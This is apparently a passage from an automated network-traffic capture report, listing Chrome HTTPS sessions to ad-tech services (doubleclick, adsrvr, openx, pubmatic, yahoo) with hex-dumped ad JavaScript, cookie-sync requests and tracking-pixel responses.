2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 47 73 6c 58 71 7a 57 78 5a 6e 4d 77 61 31 30 48 68 73 6f 47 35 43 30 61 22 2c 22 43 4b 47 57 7a 4d 7a 71 70 49 59 44 46 59 47 63 67 77 63 64 64 6d 51 4b 47 67 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 41 41 2d 56 34 71 4f 58 59 61 70 52 30 63 4b 37 68 70 45 31 54 54 5a 39 46 72 64 38 57 48 42 37 37 31 55 59 54 64 35 6a 6b 66 56 35 4b 6c 35 7a 58 53 4b 35 38 36 49 53 35 49 35 62 6a 64 31 4a 62 54 46 61 73 6b Data Ascii: GslXqzWxZnMwa10HhsoG5C0a","CKGWzMzqpIYDFYGcgwcddmQKGg",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qOXYapR0cK7hpE1TTZ9Frd8WHB771UYTd5jkfV5Kl5zXSK586IS5I5bjd1JbTFask
2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 74 70 63 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 2e 63 6f 6d 2f 73 61 66 65 66 72 61 6d 65 2f 31 2d 30 2d 34 30 2f 6a 73 2f 65 78 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 64 69 63 6e 66 20 3d 20 7b 7d 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 6a 63 3d 22 34 32 22 20 64 61 74 61 2d 6a 63 2d 76 65 72 73 69 6f 6e 3d 22 72 32 30 32 34 30 35 32 32 22 20 64 61 74 61 2d 6a 63 2d 66 6c 61 67 73 3d 22 5b 26 71 75 6f 74 3b 78 25 32 37 38 34 34 36 26 23 33 39 3b 39 65 66 6f 74 6d 28 26 61 6d 70 3b 32 30 30 36 37 3b 26 67 74 3b 38 26 61 6d 70 3b 26 67 74 3b 60 64 6f 70 62 2f 25 26 6c 74 3b 31 37 33 32 32 36 31 21 3d 7c 76 Data Ascii: cript src="https://tpc.googlesyndication.com/safeframe/1-0-40/js/ext.js"></script><script>window.dicnf = {};</script><script data-jc="42" data-jc-version="r20240522" data-jc-flags="["x%278446'9efotm(&20067;>8&>`dopb/%<1732261!=\|v
2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 61 26 26 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 4f 62 6a 65 63 74 7d 6c 65 74 20 49 3b 66 75 6e 63 74 69 6f 6e 20 4a 28 61 2c 62 2c 63 29 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 7c 7c 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 64 3d 61 5b 47 5d 7c 30 3b 69 66 28 64 26 31 29 72 65 74 75 72 6e 21 30 3b 69 66 28 21 28 62 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 62 29 3f 62 2e 69 6e 63 6c 75 64 65 73 28 63 29 3a 62 2e 68 61 73 28 63 29 29 29 29 72 65 74 75 72 6e 21 31 3b 61 5b 47 5d 3d 64 7c 31 3b 72 65 74 75 72 6e 21 30 7d 63 6c 61 73 73 20 6c 61 7b 7d 63 6c 61 73 73 20 6d 61 7b 7d Data Ascii: object"===typeof a&&!Array.isArray(a)&&a.constructor===Object}let I;function J(a,b,c){if(!Array.isArray(a)\|\|a.length)return!1;const d=a[G]\|0;if(d&1)return!0;if(!(b&&(Array.isArray(b)?b.includes(c):b.has(c))))return!1;a[G]=d\|1;return!0}class la{}class ma{}
2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 4d 28 61 2c 62 2c 63 2c 64 29 7b 76 61 72 20 65 3d 62 3e 3e 31 34 26 31 30 32 33 3b 65 3d 30 3d 3d 3d 65 3f 35 33 36 38 37 30 39 31 32 3a 65 3b 69 66 28 63 3e 3d 65 29 7b 6c 65 74 20 66 2c 67 3d 62 3b 69 66 28 62 26 32 35 36 29 66 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 65 6c 73 65 7b 69 66 28 6e 75 6c 6c 3d 3d 64 29 72 65 74 75 72 6e 3b 66 3d 61 5b 65 2b 28 2b 21 21 28 62 26 35 31 32 29 2d 31 29 5d 3d 7b 7d 3b 67 7c 3d 32 35 36 7d 66 5b 63 5d 3d 64 3b 63 3c 65 26 26 28 61 5b 63 2b 28 2b 21 21 28 62 26 35 31 32 29 2d 31 29 5d 3d 76 6f 69 64 20 30 29 3b 67 21 3d 3d 62 26 26 28 61 5b 47 5d 3d 67 29 7d 65 6c 73 65 20 61 5b 63 2b 28 2b 21 21 28 62 26 35 31 32 29 2d 31 29 5d 3d 64 2c 62 26 32 35 36 26 26 Data Ascii: eturn a}function M(a,b,c,d){var e=b>>14&1023;e=0===e?536870912:e;if(c>=e){let f,g=b;if(b&256)f=a[a.length-1];else{if(null==d)return;f=a[e+(+!!(b&512)-1)]={};g\|=256}f[c]=d;c<e&&(a[c+(+!!(b&512)-1)]=void 0);g!==b&&(a[G]=g)}else a[c+(+!!(b&512)-1)]=d,b&256&&
2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 68 28 70 29 3b 20 72 65 74 75 72 6e 20 62 7d 3b 76 61 72 20 50 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 2c 62 3d 21 31 29 7b 74 68 69 73 2e 6b 65 79 3d 61 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 62 3b 74 68 69 73 2e 76 61 6c 75 65 54 79 70 65 3d 22 62 6f 6f 6c 65 61 6e 22 7d 7d 3b 76 61 72 20 76 61 3d 6e 65 77 20 50 28 22 34 35 33 36 38 32 35 39 22 29 2c 77 61 3d 6e 65 77 20 50 28 22 34 35 33 35 37 31 35 36 22 2c 21 30 29 2c 78 61 3d 6e 65 77 20 50 28 22 34 35 33 35 30 38 39 30 22 29 2c 79 61 3d 6e 65 77 20 50 28 22 34 35 34 31 34 38 39 32 22 29 2c 7a 61 3d 6e 65 77 20 50 28 22 34 35 36 32 30 38 33 32 22 29 3b 63 6f 6e 73 74 20 41 61 3d 52 65 67 45 78 70 28 22 61 64 5c 5c 5c 5c 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 5c 5c Data Ascii: h(p); return b};var P=class{constructor(a,b=!1){this.key=a;this.defaultValue=b;this.valueType="boolean"}};var va=new P("45368259"),wa=new P("45357156",!0),xa=new P("45350890"),ya=new P("45414892"),za=new P("45620832");const Aa=RegExp("ad\\\\.doubleclick\\
2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 3d 61 5b 30 5d 2b 28 61 5b 31 5d 3f 22 3f 22 2b 61 5b 31 5d 3a 22 22 29 2b 61 5b 32 5d 29 3a 62 3d 61 3b 72 65 74 75 72 6e 20 62 7d 3b 66 75 6e 63 74 69 6f 6e 20 49 61 28 29 7b 69 66 28 21 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 29 72 65 74 75 72 6e 20 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 74 72 79 7b 63 6f 6e 73 74 20 61 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 3b 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 61 29 3b 72 65 74 75 72 6e 20 61 5b 30 5d 2f 36 35 35 33 36 2f 36 35 35 33 36 7d 63 61 74 63 68 7b 72 65 74 75 72 6e 20 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4e 61 28 61 2c 62 29 7b 69 66 28 61 29 66 6f 72 28 63 6f 6e 73 74 20 63 Data Ascii: =a[0]+(a[1]?"?"+a[1]:"")+a[2]):b=a;return b};function Ia(){if(!globalThis.crypto)return Math.random();try{const a=new Uint32Array(1);globalThis.crypto.getRandomValues(a);return a[0]/65536/65536}catch{return Math.random()}}function Na(a,b){if(a)for(const c
2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 22 2e 63 68 61 72 43 6f 64 65 41 74 28 63 25 31 30 29 29 3b 74 68 69 73 2e 67 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 61 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 7d 2c 54 61 3b 63 6c 61 73 73 20 57 61 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 2c 62 29 7b 74 68 69 73 2e 65 72 72 6f 72 3d 61 3b 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 62 2e 63 6f 6e 74 65 78 74 3b 74 68 69 73 2e 6d 73 67 3d 62 2e 6d 65 73 73 61 67 65 7c 7c 22 22 3b 74 68 69 73 2e 69 64 3d 62 2e 69 64 7c 7c 22 6a 73 65 72 72 6f 72 22 3b 74 68 69 73 2e 6d 65 74 61 3d 7b 7d 7d 7d 3b 63 6f 6e 73 74 20 58 61 3d 52 65 67 45 78 70 28 22 5e 68 74 74 70 73 3f 3a 2f 2f 28 5c 5c 5c 5c 77 7c 2d 29 2b 5c 5c 5c 5c 2e 63 64 6e 5c 5c 5c 5c 2e 61 6d 70 70 72 6f 6a 65 63 74 5c 5c 5c 5c 2e 28 6e 65 74 7c 6f 72 67 29 Data Ascii: ".charCodeAt(c%10));this.g=JSON.parse(a)}catch(b){}}},Ta;class Wa{constructor(a,b){this.error=a;this.context=b.context;this.msg=b.message\|\|"";this.id=b.id\|\|"jserror";this.meta={}}};const Xa=RegExp("^https?://(\\\\w\|-)+\\\\.cdn\\\\.ampproject\\\\.(net\|org)
2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 2c 62 3d 61 2e 67 6f 6f 67 6c 65 5f 6d 65 61 73 75 72 65 5f 6a 73 5f 74 69 6d 69 6e 67 29 3b 74 68 69 73 2e 67 3d 56 28 29 7c 7c 28 6e 75 6c 6c 21 3d 62 3f 62 3a 31 3e 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 7d 73 74 61 72 74 28 61 2c 62 29 7b 69 66 28 21 74 68 69 73 2e 67 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 3d 6e 65 77 20 62 62 28 61 2c 62 29 3b 62 3d 60 67 6f 6f 67 5f 24 7b 61 2e 6c 61 62 65 6c 7d 5f 24 7b 61 2e 75 6e 69 71 75 65 49 64 7d 5f 73 74 61 72 74 60 3b 55 26 26 56 28 29 26 26 55 2e 6d 61 72 6b 28 62 29 3b 72 65 74 75 72 6e 20 61 7d 65 6e 64 28 61 29 7b 69 66 28 74 68 69 73 2e 67 26 26 22 6e 75 6d 62 65 72 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2e 76 61 6c 75 65 29 7b 61 2e 64 75 72 61 74 69 6f 6e 3d 28 61 62 28 29 7c 7c 24 61 28 29 29 2d Data Ascii: ,b=a.google_measure_js_timing);this.g=V()\|\|(null!=b?b:1>Math.random())}start(a,b){if(!this.g)return null;a=new bb(a,b);b=`goog_${a.label}_${a.uniqueId}_start`;U&&V()&&U.mark(b);return a}end(a){if(this.g&&"number"===typeof a.value){a.duration=(ab()\|\|$a())-
2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 68 69 73 2e 6a 3d 22 26 22 3b 74 68 69 73 2e 69 3d 7b 7d 3b 74 68 69 73 2e 6d 3d 30 3b 74 68 69 73 2e 67 3d 5b 5d 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 6b 62 28 61 29 7b 6c 65 74 20 62 3d 61 2e 74 6f 53 74 72 69 6e 67 28 29 3b 61 2e 6e 61 6d 65 26 26 2d 31 3d 3d 62 2e 69 6e 64 65 78 4f 66 28 61 2e 6e 61 6d 65 29 26 26 28 62 2b 3d 22 3a 20 22 2b 61 2e 6e 61 6d 65 29 3b 61 2e 6d 65 73 73 61 67 65 26 26 2d 31 3d 3d 62 2e 69 6e 64 65 78 4f 66 28 61 2e 6d 65 73 73 61 67 65 29 26 26 28 62 2b 3d 22 3a 20 22 2b 61 2e 6d 65 73 73 61 67 65 29 3b 69 66 28 61 2e 73 74 61 63 6b 29 61 3a 7b 61 3d 61 2e 73 74 61 63 6b 3b 76 61 72 20 63 3d 62 3b 74 72 79 7b 2d 31 3d 3d 61 2e 69 6e 64 65 78 4f 66 28 63 29 26 26 28 61 3d 63 2b 22 5c 5c 6e 22 2b 61 29 3b 6c 65 74 20 64 3b 66 Data Ascii: his.j="&";this.i={};this.m=0;this.g=[]}};function kb(a){let b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack)a:{a=a.stack;var c=b;try{-1==a.indexOf(c)&&(a=c+"\\n"+a);let d;f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.6	50198	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	819	OUT	GET /track/cmf/openx?oxid=2f4e4a4a-a7cf-7e41-e12e-a7af7a615756&gdpr=0 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgAigCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC
2024-05-23 22:35:04 UTC	647	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:04 GMT Content-Length: 335 Connection: close server: Kestrel location: https://us-u.openx.net/w/1.0/sd?id=537072971&val=8369ae03-bf51-422b-a15c-33306b0e1dfe&ttd_puid=2f4e4a4a-a7cf-7e41-e12e-a7af7a615756&gdpr=0&gdpr_consent= set-cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; expires=Fri, 23 May 2025 22:35:04 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgAygCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC; expires=Fri, 23 May 2025 22:35:04 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:35:04 UTC	335	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 37 31 26 76 61 6c 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 26 74 74 64 5f 70 75 69 64 3d 32 66 34 65 34 61 34 61 2d 61 37 63 66 2d 37 65 34 31 2d 65 31 32 65 2d 61 37 61 66 37 61 36 31 35 37 35 36 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 37 31 26 76 61 6c 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 Data Ascii: Redirecting to: <a href="https://us-u.openx.net/w/1.0/sd?id=537072971&val=8369ae03-bf51-422b-a15c-33306b0e1dfe&ttd_puid=2f4e4a4a-a7cf-7e41-e12e-a7af7a615756&gdpr=0&gdpr_consent=">https://us-u.openx.net/w/1.0/sd?id=537072971&val=8369ae03-bf51-422b-a15c-333

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.6	50190	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	913	OUT	GET /setuid?bidder=ttd&uid=3e077bb4-bf4a-4c19-933e-c98ddd88142e&gdpr=0&gdpr_consent= HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifX19
2024-05-23 22:35:04 UTC	969	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwidHRkIjp7InVpZCI6IjNlMDc3YmI0LWJmNGEtNGMxOS05MzNlLWM5OGRkZDg4MTQyZSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA0LjY5NTM4MDY5NFoifX19; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:04 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Thu, 23 May 2024 22:35:04 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:04 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.6	50182	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	827	OUT	GET /pixel?google_nid=openx&google_hm=MDMyMTk5ODAtNmViOC0yMGU1LWY0Y2UtZmQxNmIwODM5OTM2 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:04 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:04 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:04 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.6	50188	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	783	OUT	GET /pixel?google_nid=yieldmo_dbm&google_cm&pn_id=c HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:04 UTC	664	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ads.yieldmo.com/v000/sync?pn_id=c&google_gid=CAESEOEc1rz1IR8Gw4xvRTDNP88&google_cver=1 Date: Thu, 23 May 2024 22:35:04 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 299 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:04 UTC	299	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 79 69 65 6c 64 6d 6f 2e 63 6f 6d 2f 76 30 30 30 2f 73 79 6e 63 3f 70 6e 5f 69 64 3d 63 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 45 4f 45 63 31 72 7a 31 49 52 38 47 77 34 78 76 52 54 44 4e 50 38 38 26 61 6d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ads.yieldmo.com/v000/sync?pn_id=c&google_gid=CAESEOEc1rz1IR8Gw4xvRTDNP88&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.6	50199	185.184.8.90	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	678	OUT	GET /cm-notify?pi=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=vppXXAv6rWDZQ1hfNXAq_1716503699836; ts=1716503699
2024-05-23 22:35:04 UTC	482	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:04 GMT vary: Accept-Encoding location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNTQmdGw9NDMyMDA%3D&piggybackCookie=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&pi=pubmatic&gdpr=0&gdpr_consent= cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Thu, 23 May 2024 22:35:04 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.6	50209	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
